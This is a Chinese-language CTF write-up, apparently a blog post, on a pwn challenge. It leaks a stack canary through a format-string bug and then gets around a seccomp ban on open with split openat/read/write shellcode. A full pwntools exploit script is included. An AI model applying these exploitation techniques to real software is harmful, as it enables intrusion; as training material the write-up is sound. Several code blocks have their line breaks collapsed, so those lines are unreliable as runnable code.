一道栈+ret2shellcode+sandbox(seccomp)+格式化字符串的题目
前言
ret2shellcode,已经不是简单的放到栈上、ret这样一个简单的过程。套一层seccomp的沙箱,打ORW又遇到open受限等等,考虑的蛮多。过程中收获最多的可以说是汇编shellcode手动编写时的一些心得,还是跟着返璞归真师傅的wp复现,再次感谢!
一、题目分析
没有给libc,栈可执行、存在Canary
开启了沙箱,禁用了open函数
IDA分析,可以明显看到栈溢出、格式化字符串,且均可以反复触发
格式化字符串显然是用来泄露绕过canary的,栈溢出+NX没开又显然是用来ret2shellcode的
二、解题
先写个交互函数方便交互
def setName(name):io.recvuntil(b'2: get name')io.sendline(b'1')io.sendlineafter(b'->set name',name)def getName(flag=True):io.recvuntil(b'2: get name')if flag:io.sendline(b'2')io.recvuntil(b'->get name')else:io.sendline(b'123')
1.格式化字符串泄露Canary
常规套路了,其实不必在此赘述
offset=8
然后脚本挂动态调试,看canary(泄露canary)、rbp(实质上是获取buf的地址,准备布局shellcode)是第几个参数的位置。
offset=8
payload1=(f'%{offset+0x50//8-1}$p--%{offset+0x50//8}$p').encode('utf-8')
setName(payload1)
input('Check')
getName()
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
success(hex(canary))
io.recvuntil(b'--0x')
rbp=int(io.recv(12).decode('utf-8'),16)
buf=rbp-0x60
success(hex(rbp))
success(hex(buf))
2.ret2shellcode
2.1 openat代替open
由于开了沙箱,系统调用受限,orw的打法无疑,但是open被禁需要替换。查阅资料后发现openat可以一定程度上等价于open:
#open - flags
/*
O_ACCMODE 00000003
O_RDONLY 00000000
O_WRONLY 00000001
O_RDWR 00000002
O_CREAT 00000040
O_EXCL 00000080
O_NOCTTY 00000100
O_TRUNC 00000200
O_APPEND 00000400
O_NONBLOCK 00000800
O_DSYNC 00001000
FASYNC 00002000
O_NOFOLLOW 00020000
*/
2.2 shellcode的布局
之前已经知道能直接布局shellcode利用的buf空间为0x48,直接写长度大大超过
# shellcode 但是太大了
# shellcode=asm('''
# mov rax,0x67616c662f2e; //./flag
# push rax
# ; //openat(-100,'./flag',O_RDONLY)
# mov rdi,-100
# mov rsi,rsp
# xor rdx,rdx
# mov rax,257
# syscall
# ; //read(3,target_address,0x50)
# mov rdi,3
# mov rsi,{}
# mov rdx,0x50
# xor rax,rax
# syscall
# ; //write(1,target_address,0x50)
# mov rdi,1
# mov rsi,{}
# mov rdx,0x50
# add eax,1
# syscall
# '''.format(xxx,xxx))
所以得想办法跨过canary、rbp、ret,构造shellcode
# shellcode分割开
shellcode=asm('''mov rax,0x67616c662f2e; //./flagpush rax; //openat(-100,'./flag',O_RDONLY)mov rdi,-100mov rsi,rspxor rdx,rdxmov rax,257syscall; //read(3,target_address,0x50)mov rdi,raxmov rsi,{}mov rdx,0x20xor rax,raxsyscallmov rax,{}push raxret'''.format(buf+0x80,buf+0x60))
shellcode=shellcode.ljust(0x48,b'\x00')
shellcode+=p64(canary)
shellcode+=p64(0)+p64(buf)
shellcode+=asm('''; //write(1,target_address,0x50)mov rdi,1mov rsi,{}mov rdx,0x50mov eax,1syscall
'''.format(buf+0x80))
比较妙的几个点是
- 通过 mov register,addr;push register;ret的方式实现了定向跳转
- 将flag远远写到后面的栈空间,避免对shellcode干扰
三、完整exp
from pwn import *context(arch='amd64',log_level='debug')io=process('./pwn1_')
gdb.attach(io);input()
def setName(name):io.recvuntil(b'2: get name')io.sendline(b'1')io.sendlineafter(b'->set name',name)def getName(flag=True):io.recvuntil(b'2: get name')if flag:io.sendline(b'2')io.recvuntil(b'->get name')else:io.sendline(b'123')offset=8
payload1=(f'%{offset+0x50//8-1}$p--%{offset+0x50//8}$p').encode('utf-8')
setName(payload1)
input('Check')
getName()
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
success(hex(canary))
io.recvuntil(b'--0x')
rbp=int(io.recv(12).decode('utf-8'),16)
buf=rbp-0x60
success(hex(rbp))
success(hex(buf))# shellcode 但是太大了
# shellcode=asm('''
# mov rax,0x67616c662f2e; //./flag
# push rax
# ; //openat(-100,'./flag',O_RDONLY)
# mov rdi,-100
# mov rsi,rsp
# xor rdx,rdx
# mov rax,257
# syscall
# ; //read(3,target_address,0x50)
# mov rdi,3
# mov rsi,{}
# mov rdx,0x50
# xor rax,rax
# syscall
# ; //write(1,target_address,0x50)
# mov rdi,1
# mov rsi,{}
# mov rdx,0x50
# add eax,1
# syscall
# '''.format(xxx,xxx))# shellcode分割开
shellcode=asm('''mov rax,0x67616c662f2e; //./flagpush rax; //openat(-100,'./flag',O_RDONLY)mov rdi,-100mov rsi,rspxor rdx,rdxmov rax,257syscall; //read(3,target_address,0x50)mov rdi,raxmov rsi,{}mov rdx,0x20xor rax,raxsyscallmov rax,{}push raxret'''.format(buf+0x80,buf+0x60))
shellcode=shellcode.ljust(0x48,b'\x00')
shellcode+=p64(canary)
shellcode+=p64(0)+p64(buf)
shellcode+=asm('''; //write(1,target_address,0x50)mov rdi,1mov rsi,{}mov rdx,0x50mov eax,1syscall
'''.format(buf+0x80))setName(shellcode)
input('check')
getName(False)
io.interactive()
总结
做的时候这不会那不会,做完之后写博客,感觉很多都没必要写。。。菜就多练。